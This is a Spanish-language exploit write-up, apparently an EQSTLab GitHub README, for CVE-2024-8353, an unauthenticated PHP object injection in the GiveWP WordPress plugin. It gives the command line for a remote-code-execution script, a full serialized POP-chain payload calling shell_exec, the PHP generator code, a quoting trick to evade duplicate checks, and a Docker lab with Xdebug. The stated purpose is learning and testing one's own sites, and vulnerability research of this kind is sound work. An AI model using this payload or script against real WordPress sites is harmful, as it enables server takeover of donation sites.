
Exploit de inyección de objetos PHP en GiveWP
Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias a cuokon, quien descubrió esta vulnerabilidad.
Análisis adicional de CVE-2024-5932 EQST Insight R&T(archivo PDF).
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 PoC de eliminación arbitraria de archivos y RCE ★
CVE-2024-8353 : Vulnerabilidad de inyección de objetos PHP en GiveWP
descripción: El complemento givewp – plugin de donaciones y recaudación de fondos para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta la 3.16.1 inclusive, mediante la deserialización de entrada no confiable a través de varios parámetros como give_title y card_address. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena pop permite a los atacantes eliminar archivos arbitrarios y lograr ejecución remota de código. Esta es esencialmente la misma vulnerabilidad que CVE-2024-5932; sin embargo, se descubrió que la presencia de stripslashes_deep en user_info permite omitir la comprobación is_serialized. Este problema se corrigió en su mayor parte en la 3.16.1, pero se añadió mayor refuerzo en la 3.16.2.
⚠️Al usar el PoC, solo puedes usar el mismo comando una vez porque “give_title” se almacena en la base de datos y se verifica la presencia de duplicados. En este caso, puedes usar algunos trucos de Linux, especialmente las comillas. Por ejemplo, si usas “echo”, puedes reutilizarlo escribiendo algo como “e‘’cho”.
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# Ejecución remota de código
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Puede depurar su GiveWP usando PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Y luego puede depurar su WordPress.


Esencialmente, la secuencia es la misma que en CVE-2024-5932, con la diferencia de que la lógica “is_serialized” también se añade al parámetro “give_title”. El método determina que si no hay un signo : (dos puntos) en el índice 1, los datos no están serializados.

Después del método “is_serialized”, la función “stripslashes_deep” elimina la barra invertida. Por lo tanto, la barra invertida inicial () se elimina y los datos serializados se pasan.

\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Devuelve la cadena de comando)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
La cadena POP permite la ejecución remota de comandos.

Este repositorio no pretende ser un exploit de inyección de objetos para CVE-2024-8353. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.
Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do